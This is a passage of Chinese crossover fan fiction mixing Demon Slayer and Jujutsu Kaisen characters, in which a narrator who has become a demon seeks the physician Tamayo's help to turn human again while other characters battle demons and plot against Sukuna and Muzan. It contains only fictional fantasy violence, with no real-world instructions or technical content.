里梅双眼危险地眯起,这家伙是在催促什么吗?他本来自有打算,将他所有的几个手指全部让那受肉容纳,这样只要那个受肉能承受住,两面宿傩大人便能重新降临,然后狠狠教训那个什么鬼王一顿。
至于剩下几个手指,两面宿傩大人复活后想要找回便是轻而易举。
只是计划全被这家伙打乱了,里梅闪身贴近羂索,抓住了他的衣领,“你这家伙!”
羂索还是笑着,“别着急嘛,只是一根手指根本掀不起大波澜,只要受肉还活着就行。”
一根手指可不能完全唤醒宿傩,甚至说,在那样的身体里,谁主谁客还要另说。不过,这跟他有什么关系呢?
看着暴怒的里梅,羂索笑了笑,看着皎洁的明月。
事情还是要乱一点才好呢。
*
“哈啾!”我坐在绿车上,揉了揉鼻子。
总觉得有人在骂我,但是我没有依据。
我正赶往去找珠世医生的路上,恢复记忆的我当然失去了丧心病狂将认识的人变成鬼的想法,我自己当然也只想当人。
而在这个世界我能信得过的医生一个去世了,一个就是珠世医师了。
至于为什么要找医师?
我回想起缘一对我说的话,“和姐姐重逢时我能感觉姐姐的身体与普通人的有所不同,不仅是肌肉密度方面,而是血液里好像有某种东西在一直往你脑子的方向爬,虽然在姐姐你受伤后那种东西好像消失了不少,但是还依旧存在。”
噫!要不是有人型扫描仪缘一,我都不能知道我自己这么想是被感染了。至于感染的来源,或许就是无惨的血肉。
已知我体质特殊,或许是以前误食过什么东西使得医师的药方完整,我变成了不渴望血肉不害怕阳光的体质强健的某种存在。
但是随着摄入了鬼舞辻无惨的血肉,我开始对他血肉上瘾并且行为失去理智逐渐丧失人性,说明关键的节点在于鬼舞辻无惨的血肉对于我的影响。
我扶正了头上严密的斗笠,将手指微微从袖子下伸出,果不其然又被阳光灼烧了,只是没有第一次那么痛。
看来阳光对于鬼舞辻无惨血肉的影响的边际效应已经递减到近乎没有了,我还是得寻找一些药理的方法。
我就不信我不能脱离无惨病毒了!
35.入职第十六天
沿着熟悉的老路,我来到了医师的旧宅--也就是现在珠世小姐的宅邸。
这个宅邸依旧是如此,虽然小巧但是雅致。门口栽种的不再是素色的野菊,而是一些色彩绚丽的野花,看着极其讨人喜欢。
院内偶尔传来孩子欢快的笑声,望着院内不知何时种下的高耸紫藤,我坐在驴车上,不适地捂着了鼻子。
唔,总感觉这个味道怪怪的。我就像植物O战僵尸里对于大蒜敏感的僵尸,真想捏着鼻子就绕在这里。
但是不行。
我下了驴车,在正门敲了敲三下,等着门房开门。
紫藤花的气味让我不适地将手挥了挥在鼻前挥了挥,然而,空气中一股奇异的味道使得我身子瞬间僵硬。
这是鬼舞辻无惨的味道!他曾经来过这里!
我心下一惊,没等门房开门我就猛地推开了门,没有血腥味,看来还没有发生惨剧。
但是,为什么还有这么浓郁的鬼舞辻无惨的气味呢?
*
门被猛地推开,正赶来开门的门房吓了一跳,忍不住握紧了手中的棍子。
昨夜就有不速之客半夜赶来说要见珠世小姐。
珠世小姐近日身体不好,一直卧病在家。
难道是什么寻医问药的家伙?看着来着单薄的身子,门房觉得有这种可能。
只不过,“你来的太晚了,现在可不是外男该来拜访的时刻。”门房记得做完自己这么说了后,那个男人却只是笑了一声,然后将一封信递给了他。
“交给珠世医师吧,看来这封信,她就会见我的。”那个男人的声音是如此地笃定,但是还是过于无理,门房本打算直接拒绝,但是不知为何,偶然对上了那个男人的眼,他拒绝的话便咽下去,身体下意识听从了他的命令。
而后真的就如同他说的那样,珠世小姐拖着病体,邀请了他去书房详谈。男人出来时,他只看见珠世小姐苍白的脸和犹豫的神情。而今天,珠世小姐的胃口更是差极了。
所以,应该都是这些不速之客的错!
门房看着闯进来的女人,下定决心不能让她打扰珠世小姐。而且,衣料将她全身包裹得严严实实的,头上的帷帽也遮住了女人的神情。
这样藏头露尾的能是什么好人?
下意识忽略心中的害怕,忠心的门房握紧了手中的木棍,无视女人的抱歉正打算将她驱逐出去,一头驴却拖着二轮车熟门熟路地闯进来了。
“咦?难道是你?”
*
我差点被打出大门,还好机灵的驴替我刷了脸。我猛地掏出了草料给这鼻子不断喷气的毛驴,慰劳地摸了摸它的脑袋,然后就紧跟着门房。
虽然我成功入内,但是门房依旧看我不爽就是了。
“如果没有要事,就不要打扰珠世小姐休息了。”门房恶狠狠地放下了话,但还是将我引至内院。
紫眸的美丽女子坐在廊檐下,看着院中的小孩子在那边欢快地捧着球玩。她嘴角噙着温柔的笑,却不知为何,整个人笼罩在一种忧伤的氛围之中。
见我进门,那个小孩子像是受到惊吓的兔子般猛地离开了球,哒哒哒地快步跑到紫眸女子身边紧紧贴着,“母亲大人,那些怎么又来了.......”
紫眸女子,也就是珠世小姐,听闻这话抿了抿嘴,小声安抚了孩子一会就叫他到别的屋子去了。
那双本来温柔的紫眸看向了我,现在满是狠厉,“你是?”我看着她的手伸向了背后,似乎打算掏着什么东西出来。
这可使不得。
我立马摊手做投降状,看着四下无人,直接表明身份,“我是以前曾和医师相识的在产屋敷月彦家做工的下女,曾经过来吊唁医师。”
这句话显然不能使她放松警惕,珠世小姐将眸子眯起,只是机械地点了点头,另一只握着什么东西的手紧张地颤抖着。
我无声叹了口气,抬头看了一眼。月光顺着茂密的紫藤花的叶子滑下,流泻在院中。
我摘下了帷帽,努力让自己的声音听起来无害,“如您所见,我现在是个鬼,正打算寻求您的帮助。”
珠世看了过去,皎洁的月光下,女子眸中银色的壹是如此的显眼。
这个鬼的强大,比起鬼舞辻无惨或许也不逊色。不知为何,她心里产生了这种念头。
我看着珠世小姐虽然完全没有放松,但是摸向身后什么东西的手已不再颤抖。
我假装没看见她的小动作,只是小心地朝她靠近,直到一个近到她快要不能忍受的安全距离我才停下来。
“如果可以,我想向您请教如何才能变回人。”
什么,变回人?
珠世被她这句话惊得差点握不住手中的瓶子,她缓了缓神,看着这位曾经有过几面之缘的下女,努力克制声音里的颤抖,“你不是自愿变成鬼的吗?”
她曾经也遇见过弱小的鬼,那些丑陋的只想吞噬血肉的家伙让她受惊不已,她也努力医治过被鬼所伤的人,因而发现、研究出了一些至少能一定程度上驱逐鬼的东西。
只是,这些对于有智慧的鬼来说似乎都没有用。或许有智慧的鬼是完全不同的生灵呢?
珠世下意识回想起鬼舞辻无惨向她描述的场景--你只会变得健康,强大,难道你不想多陪陪自己的孩子吗?身体虚弱的无力感,我也曾经感同身受,但是变成鬼就能改变一切!
鬼舞辻无惨极具蛊惑的话语似乎还回荡在她耳边,她看着自己还年幼的孩子,一些隐虑都不由得埋在心底。
她还年轻,她还不想死,她还想陪着孩子长大,至少不要像她一样年少时就失去母亲!
那位眸中刻着壹的女鬼却好像她是问出了什么蠢问题,“当然不是自愿的!”
女鬼歪了歪头,接着补充,“变成鬼会开始嫉妒渴望血肉,以往认识的人都会被当成口粮吞吃殆尽,母亲吃掉孩子,妻子吞吃丈夫,武士将领主嚼烂了连骨头都不吐出,这些可都是鬼能做出来的东西。”
“怎么会......”珠世不敢相信,在鬼舞辻无惨的描述中,高级的鬼明明不需要经历这些,她只需要帮助鬼舞辻无惨研制一些药物就好了,只需要吞下他给的药剂就能轻松变成鬼了,明明.......
她不能再想下去,因为她的脑袋逐渐清醒,她已经无法自欺欺人了。
我察觉到了珠世小姐松动的态度,立马乘胜追击,“而且,一旦变成鬼,可能就无法脱离那家伙的控制了。我能感觉那家伙可能盯上了珠世小姐您,为了
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我的私心,也为了保证珠世小姐您的安全,请您助我一臂之力,将我变回人吧。”
为表诚意,我甚至直接将自己带着数字的眼珠挖了出来。
珠世惊叫了一声,我也开始后悔自己的冲动举措了。
然而,下一秒,我却看见珠世小姐白着脸,但是强撑着身子站直,她只是扫了一眼地上沾着血的燕秋,然后直接拿出了一直藏在身后的瓶子。
我下意识地咽下了一口唾沫--那是鬼舞辻无惨的血。
珠世小姐漂亮的紫眸燃烧着愤怒的火焰,但是她的声音听起来十分冷静克制。
“我的舅舅,也就是之前在产屋敷月彦工作的医师,其实不是被两面宿傩害死,而是那家伙的手笔,对吗?”
我想起了那位善良的医师,沉默了片刻,顶着珠世小姐那双紫眸,坚决地点了点头。
*
素流道场中,已经帮着庆藏收了大半债务的妓夫太郎百无聊赖地蹲在隐秘处,打量着周遭的一切。
现在并没有其他人在道场中。梅和庆藏的女儿恋雪已经出去采买衣服了,狛治也回乡了,庆藏还在外面。
一时间竟然只有他一个人在这看家。
看家,不对。妓夫太郎一双阴沉的眼看向周遭熟悉的环境,忍不住龇了龇牙。
不对,这可不是他的家,他只是来这里收钱催债的,不能因为环境温和就放松警惕,即使庆藏看起来是个只会傻笑的老好人,即使狛治那家伙也不再对他绷着一张脸。
即使梅看着恋雪,高傲的神情里也会多一丝温和。想起和自己相依为命的妹妹,妓夫太郎又忍不住沉默了一会,将自己更往阴影里缩着。
梅跟着自己生活简直是明珠蒙尘,她远超任何花魁的美貌使她无论如何在哪都能吃香,即使在这偏远的道场,也会有无数年轻人像蜜蜂一样闻着味就成群结队过来。
即使有狛治和他自己作为道场的门神,还是抵挡不住那群男人的狂热。
梅来到素流道场后,就经常爱与恋雪一起出门采买。她对于恋雪的装扮从头嫌弃到了脚,骂骂咧咧将其带出门为其选了好几套搭配,让狛治从有所不满到面色羞红。
而且,就据梅本人吹嘘,已有不少贵族的小姐在店中对其搭配能力颇为赞赏,当场就要出钱要梅帮她们搭配几套。梅说这话时,手足舞蹈地模拟着当时的场景,尾巴简直要翘上天了。
看来,没有自己,或许梅也能像那个女人说的一样过上自己想要的生活。而像他这样丑陋又没用的家伙,或许自己离开才能使梅过得更好。
妓夫太郎正想着,却忽然发现有人鬼鬼祟祟地溜进了素流道场,定睛一看,正是隔壁那个剑道场主的儿子。
这家伙来这干嘛?
妓夫太郎隐蔽地观察着,看见那家伙正贼眉鼠眼地准备将什么东西倒入井水中。
不行,梅也会喝这里的水。
妓夫太郎皱起了眉头,正打算上前砍掉那家伙的手,一个黏糊糊的东西却攀上了他的肩膀。
“哎呀,可不要去打扰别人哦。”
妓夫太郎下意识将镰刀往后一劈,却被快速躲过。
他回头一看,那发生的东西竟然是--
一个长着手脚和脑袋的壶?
36.入职第十七天
纵使是妓夫太郎,问着一股鱼腥气,看到那个壶子一般的怪物也忍不住露出了嫌恶之色。
好丑的家伙!
如果你要说他是个壶,那他的手脚就显得极其多余;可是如果你要说他是个人,那么实在也太寒碜了。原本眼睛的地方现在放置着深绿色的嘴唇,手又长在好似脑袋的地方,无论是大小、比例都难以令人理解。
不管这家伙是人还是壶还是什么其他的东西,糟糕的是,这家伙好像很强。
妓夫太郎握紧了手中的镰刀,后撤两步,试图和这长相诡异的家伙拉开距离。
“什么啊,就你还嫌弃我?!”玉壶看着长相阴郁的妓夫太郎的嫌弃脸,不可置信地叫出声来,“就凭你这家伙!”
这一声破防的尖叫让做贼心虚的家伙一惊,剑道场少主的手一抖,原本要倒在井水中的粉末直接摔在了地上。
他惊恐地看向发声处,更是被玉壶的尊容吓得直接摔到在地,甚至顾不上旁边眼神不善的妓夫太郎。
“壶!好丑的壶!”他惊叫出声,踉跄着想要爬起来跑掉,却被几只利刺扎穿了四肢。
“啊啊啊啊!”
听着那位剑道场少主的惨叫,妓夫太郎小心观察着那阵利刺的来源--玉壶中跳出的金鱼。
这东西像是突然出现的,而且金鱼口中发出的利刺也是非常地迅猛。
这样的家伙难道是鬼吗?妓夫太郎也曾听过鬼的传言,虽然从来没见过,但也听说过这类生物是夜间出现而且要吃人的。
艰难咽下一口唾沫,妓夫太郎握紧了镰刀,看着骂着“不懂艺术”,一直在向剑道场少主施加攻击的玉壶,思考着对策。
这个鬼究竟是来干什么的?如果是为了吃人,那么好像也没有直接吃下那个轻浮的少主。
妓夫太郎小心地与玉壶拉开着距离,如果打不过,不如趁着这个鬼折磨或者吃了那个少主的时间逃跑也行,然后去找梅,叫她离这里远远的。
然而,没等妓夫太郎悄悄移到门口,玉壶便停下来鞭打那个不懂得欣赏他艺术的家伙,烦躁地开问,“这个家伙真是没用,竟然连下毒都做不好。我问你,这里那个说很漂亮的女人在哪里?”
妓夫太郎的脚步顿时停住,他看着那个丑陋的鬼,一字一顿,“你这家伙,在说什么?”
“哦,那个漂亮女人还跟你有关系吗?不至于吧,就你这样丑样子,难道是想吃天鹅肉的癞蛤蟆吗哈哈哈?”玉壶笑得上气不接下气,头上的几只手臂花枝乱颤。
妓夫太郎听见这笑,虽是怒火中烧,但是面上却努力压下火气,只是保持着往日的阴沉模样,“呵,我并不认识。你被骗了吧,这边没什么漂亮女人。”
玉壶的那绿色大嘴似的眼睛张合了几下,他又唤出金鱼向那地板上苦叫的少主再刺向几针,“你这家伙居然还敢骗我吗?”
“我没说假话,我没说假话,那个漂亮女人就是这家伙的妹妹!”少年在地上翻滚,痛呼出声。
他的声音在半夜实在是太响了,以至于隔壁的剑道场都被惊醒了。有着身手灵活的少年攀墙一看,便被吓得六神无主,“有鬼啊,有鬼啊!”
隔壁的剑道场顿时乱了起来。
看着奄奄一息的少主,妓夫太郎的眼里难掩恨意--这个垃圾!
但是现在不是想这个的时候,如果这家伙真的盯上了梅,那么逃跑肯定就不行。
一定要除掉他!
一想到梅,妓夫太郎咬了咬牙,快步像隔壁剑道场跑去,嘴里还高叫着,“鬼来了!”
玉壶并没有理会这样的垂死挣扎,这群普通人类在他看来完全不堪一击,要去杀了他们不过是抽出手的功夫。他掏了掏耳朵,直接拧下了地上吵闹的男人的头颅。
他将那个头颅放在手上端详了几秒钟,就叹了口气,颇为无趣地将它扔到了地上,“没意思,一点特色都没有。”
玉壶回想着沿路人们对那个漂亮女人绘声绘色的描绘,又想到了刚刚那个丑陋的少年,绿大嘴似的眼睛迸发出一阵神采。
“丑陋和美丽,又是亲人,如果他们的头放在一个壶上,那将是多么得艺术!”壶身发出剧烈的颤抖,玉壶缓缓喘着气,面色通红。
过了几十秒,他才好像缓过神来,壶身一跃就到了隔壁的剑道场去。
它的出现让整个剑道场炸开了锅,健壮的男子们一见他便惊呼着跑了,只剩下几个颤着手的剑士。可是玉壶却是无所谓的,他挥挥头上的小手,金鱼便从玉壶中蹦出,吐出一片刺雨,然后便是剑士倒地。
没意思,那个丑陋的小鬼呢?
玉壶到处晃着,忽然感觉一阵雾袭来。
什么东西,他并不放在眼里,抹了一把脸,却看见手上出现了不少溃烂,迟疑的片刻,一阵刀光从身后劈来。
壶身被镰刀碰到了。
但也仅仅是碰到了。
刀触玉壶,发出了清脆的声音,玉壶看着壶上的划痕,赶忙拿手擦拭,好不容易将其恢复如新,他才怒视着来者,“该死的小鬼,你竟然敢打我的壶。”
来者正是妓夫太郎,他看着面色如常的玉壶,只感觉心口的巨石越发沉重。
该死,这家伙真的很强!
他这一击也确保力度最大了,这都伤不了他。而且即使是剑道场的这群家伙,也根本没能成功拖住时间。
如果不能除掉他,那也必须把他带走,决不能让梅受伤!
妓夫太郎握紧了镰刀,打算再给那个丑壶来个几刀,再跑到远点的地方。
可就在这时,妓夫太郎听到了梅的声音。
“哥哥,我回来了!这回我可还给你买了衣服哦!”四周都是血,梅的声音从远处传来,显得天真烂漫。
纵使是半夜归家,梅也丝毫不放低嗓门,谁叫她就想让一回来就见到哥哥,然后给他看看自己买的新衣服、新首饰。不管花了多少钱,不管买了什么东西,哥哥一定会称赞自己。梅有这样的自觉。
妓夫太郎几乎快要将牙咬碎,他看着充满兴趣要跳上墙头的玉壶,几乎是不管不顾地将镰刀往玉壶身上劈。
该死,怎么毒粉还没发作。
镰刀被打飞了就自己扑身抱住那个玉壶,没有刀就用嘴咬。
决不能让他过去!
“哥哥,快点出来啦。”梅的声音开始不耐烦了,明明隔着不算近,妓夫太郎却好像还是听到了梅发髻上簪子碰撞的声音。
快跑,别在这里。
妓夫太郎想说话,却发觉嗓子里都是血,他的手已
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经被刺穿过,脸也被鬼打得鼻青脸肿,可是他却不知道哪来的力气,依旧死死拖着那个丑陋的壶,不让他过去。
“烦人烦人!别把你的东西蹭到我的壶上!”玉壶的声音充满无限烦躁,他头上的两只手已经爬上了妓夫太郎的脖子,正打算将其扭下。
下一秒,玉壶的动作却倏忽停止了。
妓夫太郎喘一口气,却见墙头上不知何时起站着一个象牙白头发的少年,他好像没看见激烈的战况,只是拿着一个折扇,非常苦恼地歪着头发问,“请问你有看到一个力大无穷的恶鬼大人吗?”
这是什么问题?
玉壶扭了扭头,“你找本大爷干嘛?”
那个象牙白头发的少年瘪了瘪嘴,“不是找你哦”,他看向墙的另一侧,“这两位美丽的小姐,请问你们有没有看见一个力大无穷的恶鬼大人呢?她看起来应该是个漂亮的女子,大概这么高.....”
他踮了踮脚,又将手举起,不断比划着目标的身高。
梅抬头看着这位不速之客,上前一步站在了恋雪的身前,“哈?不认识,她不在这里。”
童磨点了点头,“这么说你应该认识恶鬼大人了,你能帮我转交给她一个东西吗?”他从兜中掏出了一个精致的香囊,径直将其丢给了梅。
梅没来得及避开,香囊直接掉到了她手中的包裹上,她正想发怒,却见那个少年将一根手指放在嘴前,小声地嘘了一声。
“感谢你的帮助。作为回报,我也会实现你的一个愿望的--那就帮你找哥哥吧。”少年五彩的瞳孔映出奇异的神采,他挥了挥手中的折扇,梅忽然觉得很冷,忍不住打了寒颤。
她听见了什么东西撕裂的声音,然后下一秒,浑身带血的妓夫太郎就像是飘在空中一般,从隔壁剑道场移到了素流道场的门口。
“哥哥!”梅立马扔下了手中的东西,扑到妓夫太郎身边。
妓夫太郎浑身是血,梅一时间不知道该怎么办。她拿起自己新买的衣裳尝试去堵住那些不停溢血的伤口,可是没用,血依旧在流。
“哎呀,不要紧的,他很聪明地避开了要害哦。”童磨轻轻摇晃着扇子,并不能理会少女的泪水,他转头看向了站在一旁手足无措的恋雪,露出了一个标准的微笑,“麻烦把香囊捡起来哦,里面的东西可是很重要的。”
童磨说完,看着身旁有些焦躁的咒灵,皱起了眉头,“这么快就赶过来了吗?”
“我先走了,记得一定要将香囊给恶鬼大人哦。”童磨的微笑依旧是如此标准,他挥了挥手,就消失在了恋雪等人的视线中。
恋雪摸着手中的香囊,里面似乎有个硬硬的东西。
但是现在不是管这个的时候,看着妓夫太郎的伤口,恋雪赶忙去道场内拿出药箱。而等她回来的时候,却见远处有一个牛车正奔向素流道场。
车头坐着那位继国家的少年家主,他旁边是一位脸几乎完全相似的带着耳饰的少年,像是感知到了什么,那个带着耳饰的少年转头对少年家主说了什么,牛车渐渐加速。
等牛车缓缓在素流道场前停下,一个紫眸的女人下了车,径直走到妓夫太郎身前蹲下。
她的声音有一种让人平静的魔力,“我是珠世,是一名医师,这就交给我吧。”
37.入职第十八天
我呆在珠世小姐的院子中,随手编着虫笼。
一个小小萝卜头躲在紫藤树后面,手里还捧着一个紫藤花汁染成的淡紫篾球,眼巴巴地看着我手上的东西。
我把最后的绳结打好,往那个小小萝卜头招了招手,“编好了哦”,我将虫笼在手中摇了摇,非常满意。
这回做的也很好。
我的眼角余光打量着那小小萝卜头,见他纠结徘徊,最后实在咬着牙一小步一小步靠近我,小脸纠成一团。
看他这幅样子,我忍不住吐槽,“不至于吧,我身上还有那种让你害怕的气味吗?”
这个小小萝卜头正是珠世小姐的孩子,作为幼童,他似乎对鬼的气息比较敏感。
小小萝卜头瘪了瘪嘴,还极其做作地捂住了自己的鼻子,“还有还有,臭臭的。”可是就算这么说着,他还是往我身边再走了几步,然后对着虫笼露出了星星眼。
“哼,那我做出来的虫笼也是臭臭的,蔑球也是臭臭的,你都不要算了。”我作势要抢过那个淡紫蔑球,吓得小小萝卜头要哭了出来,但是这几天的相处已经让我明白他多半是假哭。
我直接将虫笼放进了他的怀里,果不其然,哭声立马止住了。
正午的阳光流泻在我的手上,仅仅带来轻微的刺痛,更多的却是一种温暖酥麻感。
珠世神医真是救我小命!
我内心不由得为珠世小姐超高的医书所折服,虽然珠世小姐总是自谦说是因为我的体质特殊所以才改造地那么顺利,但是我认为这根本脱离不开珠世小姐高超的医术和她深厚的研究功底。
据珠世小姐所说,她的舅舅,也就是之前的产屋敷宅的医师,有尝试过研究使得人能够强身健体的药物,期间还与她进行过药理方面的交流。虽然药方的效用还没有得到验证就率先用在了产屋敷月彦的身上,然后造成了之后的诸多恶果。
对于这样的药物功效,比起强身健体,都应该算是脱胎换骨了。作为唯二喝下完整疗程的人,我的脱胎换骨方向似乎与鬼辻舞无惨截然不同,也不知道是我们哪个人的体质特殊。
但是,我现在并不能说完全是人。至少我还拥有非凡的恢复能力,对于阳光和一些对鬼的药物也有一定的负面反应。纵然微弱,但是却依旧存在。
而且,我并没有完全脱离鬼舞辻无惨的控制。
最近几天我的脑袋里又传来了鬼舞辻无惨的催促,说是我的上弦同事死了一位,叫我迅速快去找强大的人补上。
一刻也来不及为死去的玉壶同事哀悼,我忍不住开始思考着一个问题--我该如何对抗鬼舞辻无惨。
我对于鬼舞辻无惨的实力只有大概的估摸,并没有真正地对上过。纵使是上次涉及让他与缝合怪正面对上,他也并没有展现他真正的实力,只是靠着一些鬼海战术,自己则是苟在后方。
我摸了摸自己的眼球,一时有些迷惘。这样子我并不能确认自己是否完全能打过鬼舞辻无惨。
不过就我失忆时的所作所为,我得到了一个好消息和一个坏消息。
好消息是,经过我的不懈努力,我成功拖垮了组织的人才建设。不论是画饼叫鬼舞辻无惨等着,我一定会给他带来最强大的人类,还是直接找诅咒师直接来消耗精英鬼,鬼舞辻无惨身边应该确实没有什么可用的鬼了。
很好,优势在我!
坏消息在于,对于鬼舞辻无惨本鬼,我除了阳光以外还没找到什么弱点。
如果能看鬼舞辻无惨的CT图就好了,这样至少能直接看出身体有哪些薄弱的地方。不过这也不太可能哈哈哈......
我忍不住吐槽自己的妄想,只是,突然,脑中闪现出了一个小萝卜头的身影,我的面色不由得沉重了起来。
嗯,好像身边刚好还真有这样的一个人来着。
但是把缘一拉进来是不是不太好,我回想着缘一高超的剑技和开挂的天赋,沉默了一瞬间。
怎么说呢,总感觉他比我更适合啊。
但是成年人的良心还是唤醒了我,我压下了欺压未成年人的心理,努力再在脑中思考一些能够团结的力量。
如果只靠我一个人不行了话,至少还得再加点人吧。
我绞尽脑汁,脸色难看地都让小小萝卜头都担忧地看了过来,我回望着小小的萝卜头手上的虫笼,忽然想起来什么。
虫笼,贵族,有钱人,咦,菅原家!
话说,咒术届应该也看不惯两面宿傩吧,那看不惯两面宿傩也应该看不惯曾经顶着两面宿傩名头的鬼舞辻无惨吧!
我不由得会心一笑,只觉得生活充满希望。
对待鬼舞辻无惨,当然要团结一切可以团结的力量。
*
这段时间,咒术届各大家族都的门口都被送了一封神秘的信件,信件里提及了两面宿傩重现人间造成的恶劣影响,表明继续各家人才出来大展身手。
看到这里的咒术届人士都忍不住皱了皱眉头,两面宿傩他们要是能打得过还至于现在像缩头乌龟一样窝着吗?只是,信件的下一段话有成功吸引了他们。
信件详细展现了两面宿傩近日的行踪,并告知两面宿傩某日晚上会在某处出现的预告。
下段话大肆渲染两面宿傩此时之衰弱,听说现在他换了一个先天不足的病秧子做受肉,天天脸色惨白怕是大势已去,而且还新增了一个害怕阳光的弱点。
此时不打,更待何时。咒术届青史留名,就在此时!
这段话直将众人激得雄心壮志,信末了还要补充一句,各家最近丢失的咒具都被两面宿傩夺去了,建议要攻打两面宿傩的人即使赶到,否则咒具丢失概不负责。
一想到看起来随和但是会互相捅刀子的其他家族,菅原家并不怀疑如果他们晚到自己的咒具肯定会落入别人手中。
被召集而来菅原家的青年咒术师们跪坐在榻榻米上,听完了神秘信件的内容,你看看我,我看看你,眼里都有着跃跃欲试。他们的目光集中在上座的老者身上,等着他的指令。
老人摸了摸自己的胡子,看着下面这群拦不住的年轻人,想着几十年前两面宿傩的身影,一时游移不定。
真是太冒险了,他在心里想着。
这种冒险即使菅原家不参与,也不会有什么损失。枪打出头鸟,他们没必要直接出去。
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他的犹豫让座下的年轻咒术师们小声地交谈了起来,嘈杂的声音让老者不满起来。
他真想让人安静下来,却见一个小小的咒灵衔着一封信来到了庭院。
其中一个年轻的咒术师们立马站了起来,一挥手便消灭了那个咒灵,信径直掉在了院落中。
年轻的咒术师仔细打量了片刻,发觉没什么异样,便捡起了信封直接打开,边看信,他的嘴角更是忍不住地上扬。看完一整封信,他更是抑制不住激动地直接冲向了老者的身前。
“家主”,年轻的咒术师将信呈上,看着脸色也转喜的老者,眼里充满雄心壮志。
看着下座好奇的年轻咒术师,老者合上了手中的信,声音压着一种喜悦,面上带笑,“这回的围剿两面宿傩,我们菅原家必须去,而且,必须比别的家族去的更早。”
谁叫,信上写着,两面宿傩只有四只手指的力量了呢。
*
素流道场上,妓夫太郎躺在内室,看着屋顶,不适地紧闭着嘴。
“我觉得我不需要在吃药了。”妓夫太郎一说完这句话,就迅速继续闭紧了嘴巴,然后苦涩的药汁还是顺着汤匙大力又蛮横地塞进了他嘴里。
梅在一旁满意地收回手,一边大声数落,“哥哥!怎么能这样说呢,医师说了你还需要休息,你必须听她的话。”
见妓夫太郎还想抗争,梅又是一勺药汁灌进去,狠狠皱着眉头,漂亮的脸无端显出一种冷酷之色,“你不听医师的话,就是不听我的话,那这样我就再也不给哥哥你买衣服了!”
其实这种无伤大雅的话根本不能威胁妓夫太郎,他并不是在意外表的人,只是看到梅故作冷酷,眼角却要渗出泪水,妓夫太郎还是有些不忍。
他安静地躺了回去,老老实实接受苦涩药汁暴击。
不得不说,珠世医师的药效果很好,他说自己不需要吃药并不是强撑,而是他真觉得自己已经快要恢复好了。除了伤口还有些疼痛外基本没什么问题。
这与他他以前在吉原受伤后得到的照顾简直天差地别,他只觉得自己的骨头都快躺软了。
妓夫太郎看向屋外,那里一群少年正比划着身手。
素流道场击败恶鬼的传言一出,便是最好的招生宣传。早就苦于恶鬼迫害的平民们争先恐后将健壮的孩子送入素流道场,不求能学会杀死恶鬼,但只求学会面对恶鬼时自保的把式。
虽然庆藏再三否认,但是少年们依旧热情高涨,直接冲来拜师,整得庆藏手足无措。
但是,也不能说他们没来对。
妓夫太郎的目光移至两个长相极为相似的少年,他们一个面色沉稳,指导着一群傻乐的拿的木剑的人如何快速找到鬼的要害并集中;而一个带着耳饰,教导着该如何运气呼吸。
妓夫太郎收回了视线,这俩兄弟太过耀眼,一来便吸引了所有人的注意,和他根本不是一个世界的人。
只是没等他再继续想下去,忽然有人出现在了他和梅的身边。
一块饴糖被递到了他嘴边,他看着那个女子对他笑了一笑,然后也给了梅一块饴糖。
“药有点苦,吃点甜的吧。”
38.诶?我打无惨
“嗨哟。”看着妓夫太郎和梅呆愣的表情,我又将饴糖往他们身前一推,“不吃吗?”
梅的眼睛瞪大得像只惊恐的小猫,她嘴巴努了努,好不容易将惊叫咽下,还是没忍住,啪的一下放下了药碗,像是这样就能掩饰刚刚的慌乱。
“你怎么突然出现了?!”梅接过饴糖,拆开包装,像是出气一般狠狠地嚼了嚼,眼睛却因为饴糖的甜而弯了弯眼,把故作的冷酷化解了。
妓夫太郎也有这样的疑问,这个女人的身影越发的鬼魅了,她简直就像一个鬼魂,只会在人们想起的时候浮现身形。
妓夫太郎躺在地上,看着女人在内室到处转转的,她的脚落在地上没有声音,这样看起来倒真像鬼魂了。
“你来干什么呢?”妓夫太郎将手里的饴糖攥着,掀开了被子,在梅不赞同的眼神下慢慢躺了起来。
他们之间本来应该没什么牵扯了。
帮忙催债的报酬她已经提前预付了,庆藏这边的催债工作他也差不多要完成了,他想不到为什么他会出现在这里。难道是知道了那个奇怪的白发小鬼头的事?
妓夫太郎想起那日使着扇子的白发小鬼头,又想起那个要转交的香囊,抿了抿嘴,没等女人回答上个问题就继续开口,“之前有个白发的小鬼头过来要给你什么东西,那个东西现在放在庆藏女儿那里了,你去找她吧。”
胡说完了,妓夫太郎又觉得自己特意躺起来的动作有些蠢,他的背弯着,觉得手里的的饴糖要被体温化开了。
他在等着她离开。
只是女人在室内转转的脚步停住了,她似乎并不知道有人来找她,奇怪地歪了歪头,然后又走向妓夫太郎。
“哎,是这样吗?谢谢你,那我待会就去找恋雪。”只是话说完了,她却还没走,只是又在衣袋里掏了掏,拿出了几块金疙瘩和很多很多的饴糖。
“这是感谢你们帮助庆藏收债的,你们真的太厉害了,直接救活了素流道场。”女人将金疙瘩放在梅身旁,又将饴糖放在了妓夫太郎身旁。
“我来的路上听说了,打鬼真是不容易,辛苦你坚持下来了。珠世小姐的医术很好,不过药确实......”女人抿了抿嘴,似乎对这点感同生受,她指了指饴糖,接着说,“配上这个喝药会好点,不过平常多吃不漱口了话牙齿可能会疼哦。”
梅若有所思,停下了嚼嚼嚼,但是糖真是甜得她喜欢,她仅是停了几秒,又开始慢慢地小心地嚼嚼嚼。
妓夫太郎望着那一小堆饴糖,又看看金疙瘩,只觉得身上的伤口开始发痒了,麻麻的感觉,直接蔓延到心头。
他嘴张了张,想了想,才吐出一个“啊”的音节。
此时梅的饴糖好不容易嚼完了,她快速给自己来了一碗的清水,咕噜咕噜喝完后,神清气爽地看着我,不经意地展示着自己的牙齿,“不过那个小鬼头给你东西时说话很怪,他居然还说你是什么恶鬼大人呢。”
我愣了一下,但是在梅目光的催促下如她所愿称赞了她美丽洁白的牙齿,只是末了还是表示需要好好保养。在她气鼓鼓的背景音中,我能感到妓夫太郎扫了我一眼。
看来梅真的没猜到啊。
我回想着自己在兄妹俩前的装扮以及毫不掩饰的力量,不由在内心感慨梅的天真烂漫。
“不过确实很怪,我可不想当恶鬼啊。”我点点头,附和着梅,向着兄妹俩告辞,转身向外走去。
外面,阳光正盛。
檐廊并没有挡住多少阳光,我对着强光眯了眯眸子,然后和捕捉到我踪迹的缘一和严胜打了个招呼,就去找恋雪了。
*
我是被鬼舞辻无惨要求来调查玉壶同事死因的,据鬼舞辻无惨所说,玉壶彻底死亡前的最后一眼,看到的是一个五彩眼象牙白头的小孩。
我一听这熟悉的描述,再加上事发地点是素流道场,立马赶路前来看望好久没见的庆藏、妓夫太郎兄妹,顺便与严胜、缘一汇合,再顺便调查一下事情始末。
